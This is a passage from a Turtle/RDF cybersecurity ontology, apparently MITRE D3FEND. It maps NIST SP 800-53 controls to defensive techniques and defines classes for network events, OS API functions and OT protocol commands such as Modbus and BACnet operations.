    d3f:narrower d3f:SoftwareUpdate .

d3f:NIST_SP_800-53_R5_MA-6_2 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "MA-6(2)" ;
    d3f:control-name "Timely Maintenance | Predictive Maintenance" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:narrower d3f:SoftwareUpdate .

d3f:NIST_SP_800-53_R5_MA-6_3 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "MA-6(3)" ;
    d3f:control-name "Timely Maintenance | Automated Support for Predictive Maintenance" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:narrower d3f:SoftwareUpdate .

d3f:NIST_SP_800-53_R5_RA-3_3 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "RA-3(3)" ;
    d3f:broader d3f:FileAnalysis,
        d3f:IdentifierAnalysis,
        d3f:MessageAnalysis,
        d3f:NetworkTrafficAnalysis,
        d3f:PlatformMonitoring,
        d3f:ProcessAnalysis,
        d3f:UserBehaviorAnalysis ;
    d3f:control-name "Risk Assessment | Dynamic Threat Awareness" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 .

d3f:NIST_SP_800-53_R5_RA-3_4 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "RA-3(4)" ;
    d3f:control-name "Risk Assessment | Predictive Cyber Analytics" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:narrower d3f:FileAnalysis,
        d3f:IdentifierAnalysis,
        d3f:MessageAnalysis,
        d3f:NetworkTrafficAnalysis,
        d3f:PlatformMonitoring,
        d3f:ProcessAnalysis,
        d3f:UserBehaviorAnalysis .

d3f:NIST_SP_800-53_R5_RA-5 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "RA-5" ;
    d3f:broader d3f:NetworkTrafficAnalysis ;
    d3f:control-name "Vulnerability Monitoring and Scanning" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 .

d3f:NIST_SP_800-53_R5_RA-5_2 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "RA-5(2)" ;
    d3f:control-name "Vulnerability Monitoring and Scanning | Update Vulnerabilities to Be Scanned" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:narrower d3f:NetworkTrafficAnalysis .

d3f:NIST_SP_800-53_R5_RA-5_3 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "RA-5(3)" ;
    d3f:control-name "Vulnerability Monitoring and Scanning | Breadth and Depth of Coverage" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:narrower d3f:NetworkTrafficAnalysis .

d3f:NIST_SP_800-53_R5_RA-5_4 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "RA-5(4)" ;
    d3f:control-name "Vulnerability Monitoring and Scanning | Discoverable Information" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:related d3f:DecoyEnvironment,
        d3f:DecoyObject .

d3f:NIST_SP_800-53_R5_RA-5_5 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "RA-5(5)" ;
    d3f:control-name "Vulnerability Monitoring and Scanning | Privileged Access" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:narrower d3f:PlatformHardening .

d3f:NIST_SP_800-53_R5_RA-5_6 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "RA-5(6)" ;
    d3f:control-name "Vulnerability Monitoring and Scanning | Automated Trend Analyses" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:narrower d3f:PlatformHardening .

d3f:NIST_SP_800-53_R5_RA-5_7 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "RA-5(7)" ;
    d3f:control-name "Vulnerability Monitoring and Scanning | Automated Detection and Notification of Unauthorized Components" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:narrower d3f:ExecutableAllowlisting,
        d3f:ExecutableDenylisting .

d3f:NIST_SP_800-53_R5_SA-10_1 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "SA-10(1)" ;
    d3f:control-name "Developer Configuration Management | Software and Firmware Integrity Verification" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:related d3f:FirmwareVerification,
        d3f:PlatformHardening .

d3f:NIST_SP_800-53_R5_SA-10_3 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "SA-10(3)" ;
    d3f:control-name "Developer Configuration Management | Hardware Integrity Verification" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:related d3f:FirmwareVerification .

d3f:NIST_SP_800-53_R5_SA-10_4 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "SA-10(4)" ;
    d3f:control-name "Developer Configuration Management | Trusted Generation" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:related d3f:FirmwareVerification .

d3f:NIST_SP_800-53_R5_SA-10_5 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "SA-10(5)" ;
    d3f:control-name "Developer Configuration Management | Mapping Integrity for Version Control" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:related d3f:FirmwareVerification,
        d3f:PlatformHardening .

d3f:NIST_SP_800-53_R5_SA-10_6 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "SA-10(6)" ;
    d3f:control-name "Developer Configuration Management | Trusted Distribution" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:related d3f:FirmwareVerification,
        d3f:PlatformHardening .

d3f:NIST_SP_800-53_R5_SA-11_1 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "SA-11(1)" ;
    d3f:control-name "Developer Testing and Evaluation | Static Code Analysis" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:related d3f:ApplicationHardening .

d3f:NIST_SP_800-53_R5_SA-11_8 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "SA-11(8)" ;
    d3f:control-name "Developer Testing and Evaluation | Dynamic Code Analysis" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:related d3f:ApplicationHardening .

d3f:NIST_SP_800-53_R5_SA-8_18 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "SA-8(18)" ;
    d3f:control-name "Security and Privacy Engineering Principles | Trusted Communications Channels" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:related d3f:EncryptedTunnels .

d3f:NIST_SP_800-53_R5_SA-8_22 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "SA-8(22)" ;
    d3f:control-name "Security and Privacy Engineering Principles | Accountability and Traceability" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:related d3f:DomainAccountMonitoring .

d3f:NIST_SP_800-53_R5_SC-2 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "SC-2" ;
    d3f:broader d3f:LocalFilePermissions,
        d3f:SystemConfigurationPermissions ;
    d3f:control-name "Separation of System and User Functionality" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 .

d3f:NIST_SP_800-53_R5_SC-2_1 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "SC-2(1)" ;
    d3f:control-name "Separation of System and User Functionality | Interfaces for Non-privileged Users" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:narrower d3f:LocalFilePermissions,
        d3f:SystemConfigurationPermissions .

d3f:NIST_SP_800-53_R5_SC-3 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "SC-3" ;
    d3f:broader d3f:ExecutionIsolation,
        d3f:NetworkIsolation ;
    d3f:control-name "Security Function Isolation" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 .

d3f:NIST_SP_800-53_R5_SC-3_1 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "SC-3(1)" ;
    d3f:control-name "Security Function Isolation | Hardware Separation" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:narrower d3f:ExecutionIsolation .

d3f:NIST_SP_800-53_R5_SI-2_4 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "SI-2(4)" ;
    d3f:control-name "Flaw Remediation | Automated Patch Management Tools" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:narrower d3f:SoftwareUpdate .

d3f:NIST_SP_800-53_R5_SI-2_5 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "SI-2(5)" ;
    d3f:control-name "Flaw Remediation | Automatic Software and Firmware Updates" ;
    d3f:exactly d3f:FirmwareVerification,
        d3f:PeripheralFirmwareVerification,
        d3f:SoftwareUpdate,
        d3f:SystemFirmwareVerification ;
    d3f:member-of d3f:NIST_SP_800-53_R5 .

d3f:NIST_SP_800-53_R5_SI-2_6 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "SI-2(6)" ;
    d3f:control-name "Flaw Remediation | Removal of Previous Versions of Software and Firmware" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:narrower d3f:FirmwareVerification,
        d3f:PeripheralFirmwareVerification,
        d3f:SoftwareUpdate,
        d3f:SystemFirmwareVerification .

d3f:NIST_SP_800-53_R5_SI-3 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "SI-3" ;
    d3f:broader d3f:FileAnalysis,
        d3f:NetworkTrafficAnalysis,
        d3f:PlatformMonitoring,
        d3f:ProcessAnalysis ;
    d3f:control-name "Malicious Code Protection" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 .

d3f:NIST_SP_800-53_R5_SI-3_10 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "SI-3(10)" ;
    d3f:control-name "Malicious Code Protection | Malicious Code Analysis" ;
    d3f:exactly d3f:DynamicAnalysis ;
    d3f:member-of d3f:NIST_SP_800-53_R5 .

d3f:NIST_SP_800-53_R5_SI-3_4 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "SI-3(4)" ;
    d3f:control-name "Malicious Code Protection | Updates Only by Privileged Users" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:narrower d3f:LocalFilePermissions,
        d3f:SystemConfigurationPermissions .

d3f:NIST_SP_800-53_R5_SI-3_8 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "SI-3(8)" ;
    d3f:control-name "Malicious Code Protection | Detect Unauthorized Commands" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:narrower d3f:UserBehaviorAnalysis .

d3f:NIST_SP_800-53_R5_SI-4 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "SI-4" ;
    d3f:broader d3f:OperatingSystemMonitoring ;
    d3f:control-name "System Monitoring" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 .

d3f:NIST_SP_800-53_R5_SI-4_2 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "SI-4(2)" ;
    d3f:control-name "System Monitoring | Automated Tools and Mechanisms for Real-time Analysis" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:narrower d3f:NetworkTrafficAnalysis .

d3f:NIST_SP_800-53_R5_SI-4_4 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "SI-4(4)" ;
    d3f:control-name "System Monitoring | Inbound and Outbound Communications Traffic" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:narrower d3f:NetworkTrafficAnalysis .

d3f:NTPClientSyncEvent a owl:Class ;
    rdfs:label "NTP Client Synchronization Event" ;
    d3f:definition "An event where an NTP client requests and adjusts its clock based on time synchronization data provided by an NTP server, ensuring alignment with a standard time source." ;
    rdfs:subClassOf d3f:NTPEvent .

d3f:NTPSymmetricActiveExchangeEvent a owl:Class ;
    rdfs:label "NTP Symmetric Active Exchange Event" ;
    d3f:definition "An event where an NTP peer operating in symmetric active mode initiates clock synchronization messages to a peer in symmetric passive mode, enabling time synchronization between equal-status systems." ;
    rdfs:subClassOf d3f:NTPEvent .

d3f:NamedPipe a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Named Pipe" ;
    d3f:definition "In computing, a named pipe (also known as a FIFO for its behavior) is an extension to the traditional pipe concept on Unix and Unix-like systems, and is one of the methods of inter-process communication (IPC). The concept is also found in OS/2 and Microsoft Windows, although the semantics differ substantially. A traditional pipe is 'unnamed' and lasts only as long as the process. A named pipe, however, can last as long as the system is up, beyond the life of the process. It can be deleted if no longer used. Usually a named pipe appears as a file, and generally processes attach to it for IPC." ;
    rdfs:isDefinedBy <https://dbpedia.org/resource/Named_pipe> ;
    rdfs:seeAlso <https://en.wikipedia.org/wiki/Named_pipe> ;
    rdfs:subClassOf d3f:Pipe .

d3f:NetworkAudioVisualStreamingResource a owl:Class ;
    rdfs:label "Network Audio Visual Streaming Resource" ;
    d3f:definition "A server that provides digital audio-visual media content to users." ;
    rdfs:subClassOf d3f:NetworkMultimediaStreamingResource .

d3f:NetworkConnectionCloseEvent a owl:Class ;
    rdfs:label "Network Connection Close Event" ;
    d3f:definition "An event where a network connection is closed." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:NetworkConnectionOpenEvent ],
        d3f:NetworkConnectionEvent .

d3f:NetworkConnectionFailEvent a owl:Class ;
    rdfs:label "Network Connection Fail Event" ;
    d3f:definition "An event where a network connection attempt fails." ;
    rdfs:subClassOf d3f:NetworkConnectionEvent .

d3f:NetworkConnectionListenEvent a owl:Class ;
    rdfs:label "Network Connection Listen Event" ;
    d3f:definition "An event where a network endpoint begins listening for new network connections." ;
    rdfs:subClassOf d3f:NetworkConnectionEvent .

d3f:NetworkConnectionRefuseEvent a owl:Class ;
    rdfs:label "Network Connection Refuse Event" ;
    d3f:definition "An event where a network connection is refused." ;
    rdfs:subClassOf d3f:NetworkConnectionEvent .

d3f:NetworkConnectionResetEvent a owl:Class ;
    rdfs:label "Network Connection Reset Event" ;
    d3f:definition "An event where an attempt is made to establish a network connection." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:NetworkConnectionOpenEvent ],
        d3f:NetworkConnectionEvent .

d3f:NetworkDeviceEvent a owl:Class ;
    rdfs:label "Network Device Event" ;
    d3f:definition "An event capturing the activity or state of network devices, such as Ethernet adapters, Wi-Fi modules, or virtual interfaces. These events highlight connectivity, configuration, or performance changes." ;
    rdfs:subClassOf d3f:HardwareDeviceEvent .

d3f:NetworkFrame a owl:Class ;
    rdfs:label "Network Frame" ;
    d3f:definition "A finite, self-delimited sequence of bits exchanged as one unit over a single data link. Formed by link-layer encapsulation, a frame typically begins with synchronization and control fields, carries a payload, ends with an integrity check, and is bounded from adjacent frames by explicit timing or delimiter symbols." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Frame_(networking)> ;
    rdfs:subClassOf d3f:DigitalInformationBearer ;
    skos:altLabel "Frame" .

d3f:NetworkMultimediaStreamingResource a owl:Class ;
    rdfs:label "Network Multimedia Streaming Resource" ;
    d3f:definition "A server that provides digital multimedia content to users." ;
    rdfs:subClassOf d3f:NetworkMediaStreamingResource .

d3f:NetworkTimeServer a owl:Class ;
    rdfs:label "Network Time Server" ;
    d3f:definition "A network time server is a server computer that reads the actual time from a reference clock and distributes this information to its clients using a computer network. The time server may be a local network time server or an internet time server. The time server may also be a stand-alone hardware device. It can use NTP (RFC5905) or other protocols." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Time_server> ;
    rdfs:subClassOf d3f:Server .

d3f:Non-PersonEntity a owl:Class ;
    rdfs:label "Non-Person Entity" ;
    d3f:definition "An entity related to information technology with a digital identity that acts in cyberspace, but is not a human actor. This can include organizations, hardware objects (physical entities/devices), software objects (virtual/logical entities), and information artifacts." ;
    d3f:synonym "NPE" ;
    rdfs:seeAlso d3f:NIST_SP_800-53_R5,
        d3f:Reference-CNNSI-4009,
        <https://csrc.nist.gov/glossary/term/non_person_entity> ;
    rdfs:subClassOf d3f:Agent .

d3f:NonlinearRegression a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Nonlinear Regression" ;
    d3f:d3fend-id "D3A-NR" ;
    d3f:definition "Nonlinear regression is a form of regression analysis in which observational data are modeled by a function which is a nonlinear combination of the model parameters and depends on one or more independent variables." ;
    d3f:kb-article """## References
Wikipedia. (n.d.). Nonlinear regression. [Link](https://en.wikipedia.org/wiki/Nonlinear_regression)""" ;
    rdfs:subClassOf d3f:RegressionAnalysis .

d3f:OSAPIAccessProcess a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "OS API Access Process" ;
    d3f:definition "An OS API function for interacting with processes." ;
    d3f:invokes d3f:AccessProcess ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:AccessProcess ],
        d3f:OSAPISystemFunction .

d3f:OSAPIFunction a owl:Class ;
    rdfs:label "OS API Function" ;
    d3f:definition "A callable interface provided by an operating system that allows applications or other software components to interact with and utilize the underlying system resources, services, or functionalities." ;
    rdfs:seeAlso <http://dbpedia.org/page/Linux_kernel_interfaces>,
        <http://dbpedia.org/resource/Windows_API> ;
    rdfs:subClassOf d3f:Software .

d3f:OSAPILoadModule a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "OS API Load Module" ;
    d3f:definition "An OS API function that loads a module into memory and makes it available for execution." ;
    d3f:invokes d3f:LoadModule ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:LoadModule ],
        d3f:OSAPISystemFunction .

d3f:OSAPIReadMemory a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "OS API Read Memory" ;
    d3f:definition "An OS API function that reads the contents of memory from a specific address or region." ;
    d3f:invokes d3f:ReadMemory ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:ReadMemory ],
        d3f:OSAPISystemFunction .

d3f:OSAPISaveRegisters a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "OS API Save Registers" ;
    d3f:definition "An OS API function that retrieves and saves the values of CPU registers for a specific process or thread." ;
    d3f:invokes d3f:SaveRegister ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:SaveRegister ],
        d3f:OSAPISystemFunction .

d3f:OSAPISetRegisters a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "OS API Set Registers" ;
    d3f:definition "An OS API function that modifies the values of CPU registers." ;
    d3f:invokes d3f:SetRegisters ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:SetRegisters ],
        d3f:OSAPISystemFunction .

d3f:OSAPIUnloadModule a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "OS API Unload Module" ;
    d3f:definition "An OS API function that removes a previously loaded module from memory." ;
    d3f:invokes d3f:UnloadModule ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:UnloadModule ],
        d3f:OSAPISystemFunction .

d3f:OTAbortCommand a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "OT Abort Command" ;
    d3f:definition "Commands a device to abort a service/program." ;
    d3f:modifies d3f:OTControllerOperatingMode ;
    rdfs:comment """BACnet: deviceCommunicationControl
BACnet: reinitializeDevice """,
        "GE-SRTP: SET PLC (RUN VS STOP)" ;
    rdfs:seeAlso <https://icscsi.org/library/Documents/ICS_Protocols/Control%20Microsystems%20-%20DNP3%20User%20and%20Reference%20Manual.pdf>,
        <https://modbus.org/docs/Modbus_Application_Protocol_V1_1b3.pdf>,
        <https://nvlpubs.nist.gov/nistpubs/TechnicalNotes/NIST.TN.2023.pdf> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:OTControllerOperatingMode ],
        d3f:OTModifyDeviceOperatingModeCommand .

d3f:OTAlarmMessage a owl:Class ;
    rdfs:label "OT Alarm Message" ;
    d3f:definition "Report danger, hazards, or serious errors." ;
    rdfs:comment """BACnet: acknowledgeAlarm
BACnet: confirmedEventNotification
BACnet: getAlarmSummary
BACnet: unconfirmedEventNotification
BACnet: lifeSafetyOperation
BACnet: Abort: 1
BACnet: Abort: 2
BACnet: Abort: 3
BACnet: Abort: 4
BACnet: Abort: 5
BACnet: Abort: 6
BACnet: Abort: 7
BACnet: Abort: 8
BACnet: Abort: 9
BACnet: Abort: 10
BACnet: Abort: 11
BACnet: Abort: 12 """,
        """GE-SRTP: RETURN FAULT TABLE
GE-SRTP: CLEAR FAULT TABLE""" ;
    rdfs:seeAlso <https://icscsi.org/library/Documents/ICS_Protocols/Control%20Microsystems%20-%20DNP3%20User%20and%20Reference%20Manual.pdf>,
        <https://modbus.org/docs/Modbus_Application_Protocol_V1_1b3.pdf>,
        <https://nvlpubs.nist.gov/nistpubs/TechnicalNotes/NIST.TN.2023.pdf> ;
    rdfs:subClassOf d3f:OTDiagnosticsMessage .

d3f:OTChangeControlProgramCommand a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "OT Change Control Program Command" ;
    d3f:definition "Commands a remote device to modify an existing control program." ;
    d3f:modifies d3f:OTControlProgram ;
    rdfs:comment """GE-SRTP: WRITE PROGRAM BLOCK MEMORY
GE-SRTP: CHANGE PLC CPU PRIVILEGE LEVEL
GE-SRTP: SET CONTROL ID(CPU ID)
GE-SRTP: PROGRAM STORE (UPLOAD FROM PLC)
GE-SRTP: PROGRAM LOAD (DOWNLOAD TO PLC)
GE-SRTP: TOGGLE FORCE SYSTEM MEMORY""" ;
    rdfs:seeAlso <https://icscsi.org/library/Documents/ICS_Protocols/Control%20Microsystems%20-%20DNP3%20User%20and%20Reference%20Manual.pdf>,
        <https://modbus.org/docs/Modbus_Application_Protocol_V1_1b3.pdf>,
        <https://nvlpubs.nist.gov/nistpubs/TechnicalNotes/NIST.TN.2023.pdf> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:OTControlProgram ],
        d3f:OTModifyControlProgramCommand .

d3f:OTChangeDataCommand a owl:Class ;
    rdfs:label "OT Change Data Command" ;
    d3f:definition "OT command that modifies existing data on a remote device." ;
    rdfs:comment """BACnet: atomicWriteFile
BACnet: writeProperty
BACnet: writePropertyMultiple
BACnet: write-group """,
        """CIP: Set Attributes All
CIP: Set Attribute List
CIP: Set Attribute Single
CIP: Set Member""",
        """GE-SRTP: WRITE SYSTEM MEMORY
GE-SRTP: WRITE TASK MEMORY """,
        """Modbus: Write Single Coil
Modbus: Write Single Register
Modbus: Write Multiple Coils
Modbus: Write Multiple Registers
Modbus: Write File Record
Modbus: Mask Write Register
Modbus: Read Write Register""" ;
    rdfs:seeAlso <https://icscsi.org/library/Documents/ICS_Protocols/Control%20Microsystems%20-%20DNP3%20User%20and%20Reference%20Manual.pdf>,
        <https://modbus.org/docs/Modbus_Application_Protocol_V1_1b3.pdf>,
        <https://nvlpubs.nist.gov/nistpubs/TechnicalNotes/NIST.TN.2023.pdf> ;
    rdfs:subClassOf d3f:OTWriteCommand .

d3f:OTControlCommand a owl:Class ;
    rdfs:label "OT Control Command" ;
    d3f:definition "Command and control the managed process." ;
    rdfs:comment """CIP: Reset
CIP: Start
CIP: Stop
CIP: Create
CIP: Delete
CIP: Apply Attributes
CIP: Restore
CIP: Save """,
        "GE-SRTP: PLC SHORT STATUS REQUEST" ;
    rdfs:seeAlso <https://icscsi.org/library/Documents/ICS_Protocols/Control%20Microsystems%20-%20DNP3%20User%20and%20Reference%20Manual.pdf>,
        <https://modbus.org/docs/Modbus_Application_Protocol_V1_1b3.pdf>,
        <https://nvlpubs.nist.gov/nistpubs/TechnicalNotes/NIST.TN.2023.pdf> ;
    rdfs:subClassOf d3f:OTProcessDataCommand .

d3f:OTCreateDataCommand a owl:Class ;
    rdfs:label "OT Create Data Command" ;
    d3f:definition "OT command that creates data on a remote device." ;
    rdfs:comment """BACnet: addListElement
BACnet: createObject""",
        "CIP: Insert Member" ;
    rdfs:seeAlso <https://icscsi.org/library/Documents/ICS_Protocols/Control%20Microsystems%20-%20DNP3%20User%20and%20Reference%20Manual.pdf>,
        <https://modbus.org/docs/Modbus_Application_Protocol_V1_1b3.pdf>,
        <https://nvlpubs.nist.gov/nistpubs/TechnicalNotes/NIST.TN.2023.pdf> ;
    rdfs:subClassOf d3f:OTWriteCommand .

d3f:OTCreateNewControlProgramCommand a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "OT Create New Control Program Command" ;
    d3f:definition "Commands a remote device to create an control program." ;
    d3f:has-participant d3f:OTControlProgram ;
    rdfs:comment """GE-SRTP: WRITE PROGRAM BLOCK MEMORY
GE-SRTP: SET CONTROL ID(CPU ID)
GE-SRTP: PROGRAM LOAD (DOWNLOAD TO PLC)
GE-SRTP: TOGGLE FORCE SYSTEM MEMORY""" ;
    rdfs:seeAlso <https://icscsi.org/library/Documents/ICS_Protocols/Control%20Microsystems%20-%20DNP3%20User%20and%20Reference%20Manual.pdf>,
        <https://modbus.org/docs/Modbus_Application_Protocol_V1_1b3.pdf>,
        <https://nvlpubs.nist.gov/nistpubs/TechnicalNotes/NIST.TN.2023.pdf> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:OTControlProgram ],
        d3f:OTModifyControlProgramCommand .

d3f:OTDebugCommand a owl:Class ;
    rdfs:label "OT Debug Command" ;
    d3f:definition "Investigate or analyze the current state of the system." ;
    rdfs:comment """BACnet: getEnrollmentSummary
BACnet: confirmed-audit-notification
BACnet: audit-log-query
BACnet: unconfirmed-audit-notification """,
        """Modbus: Get Comm. Event Log
Modbus: Return Query Data
Modbus: Clear Counters
Modbus: Get Comm. Event Counters""" ;
    rdfs:seeAlso <https://icscsi.org/library/Documents/ICS_Protocols/Control%20Microsystems%20-%20DNP3%20User%20and%20Reference%20Manual.pdf>,
        <https://modbus.org/docs/Modbus_Application_Protocol_V1_1b3.pdf>,
        <https://nvlpubs.nist.gov/nistpubs/TechnicalNotes/NIST.TN.2023.pdf> ;
    rdfs:subClassOf d3f:OTDiagnosticsMessage .

d3f:OTDeleteControlProgramCommand a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "OT Delete Control Program Command" ;
    d3f:definition "Commands a remote device to remove an existing control program." ;
    d3f:modifies d3f:OTControlProgram ;
    rdfs:seeAlso <https://icscsi.org/library/Documents/ICS_Protocols/Control%20Microsystems%20-%20DNP3%20User%20and%20Reference%20Manual.pdf>,
        <https://modbus.org/docs/Modbus_Application_Protocol_V1_1b3.pdf>,
        <https://nvlpubs.nist.gov/nistpubs/TechnicalNotes/NIST.TN.2023.pdf> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:OTControlProgram ],
        d3f:OTModifyControlProgramCommand .

d3f:OTDeleteDataCommand a owl:Class ;
    rdfs:label "OT Delete Data Command" ;
    d3f:definition "OT command that removes data on a remote device." ;
    rdfs:comment """BACnet: removeListElement
BACnet: deleteObject""" ;
    rdfs:seeAlso <https://icscsi.org/library/Documents/ICS_Protocols/Control%20Microsystems%20-%20DNP3%20User%20and%20Reference%20Manual.pdf>,
        <https://modbus.org/docs/Modbus_Application_Protocol_V1_1b3.pdf>,
        <https://nvlpubs.nist.gov/nistpubs/TechnicalNotes/NIST.TN.2023.pdf> ;
    rdfs:subClassOf d3f:OTWriteCommand .

d3f:OTDeviceDescriptionMessage a owl:Class ;
    rdfs:label "OT Device Description Message" ;
    d3f:definition "Describe features, abilities, or performance of system components." ;
    rdfs:comment """ENIP: List Services
ENIP: List Interfaces """,
        """GE-SRTP: RETURN CONTROL PROGRAM NAMES
GE-SRTP: RETURN CONTROLLER TYPE AND ID INFORMATION""" ;
    rdfs:seeAlso <https://icscsi.org/library/Documents/ICS_Protocols/Control%20Microsystems%20-%20DNP3%20User%20and%20Reference%20Manual.pdf>,
        <https://modbus.org/docs/Modbus_Application_Protocol_V1_1b3.pdf>,
        <https://nvlpubs.nist.gov/nistpubs/TechnicalNotes/NIST.TN.2023.pdf> ;
    rdfs:subClassOf d3f:OTDeviceManagementMessage .

d3f:OTDeviceIdentificationMessage a owl:Class ;
    rdfs:label "OT Device Identification Message" ;
    d3f:definition "Identify devices on the network." ;
    rdfs:comment """BACnet: i-Am
BACnet: i-Have
BACnet: who-Has
BACnet: who-Is """,
        "ENIP: List Identity",
        """Modbus: Read Device Identification
Modbus: Report Slave ID""" ;
    rdfs:seeAlso <https://icscsi.org/library/Documents/ICS_Protocols/Control%20Microsystems%20-%20DNP3%20User%20and%20Reference%20Manual.pdf>,
        <https://modbus.org/docs/Modbus_Application_Protocol_V1_1b3.pdf>,
        <https://nvlpubs.nist.gov/nistpubs/TechnicalNotes/NIST.TN.2023.pdf> ;
    rdfs:subClassOf d3f:OTDeviceManagementMessage .

d3f:OTDisconnectRemoteConnectionCommand a owl:Class ;
    rdfs:label "OT Disconnect Remote Connection Command" ;
    d3f:definition "The Disconnect Request message is sent to the message receiver to indicate that the transmitter is terminating its TCP socket." ;
    rdfs:seeAlso <https://icscsi.org/library/Documents/ICS_Protocols/Control%20Microsystems%20-%20DNP3%20User%20and%20Reference%20Manual.pdf>,
        <https://modbus.org/docs/Modbus_Application_Protocol_V1_1b3.pdf>,
        <https://nvlpubs.nist.gov/nistpubs/TechnicalNotes/NIST.TN.2023.pdf> ;
    rdfs:subClassOf d3f:OTConnectionCommand .

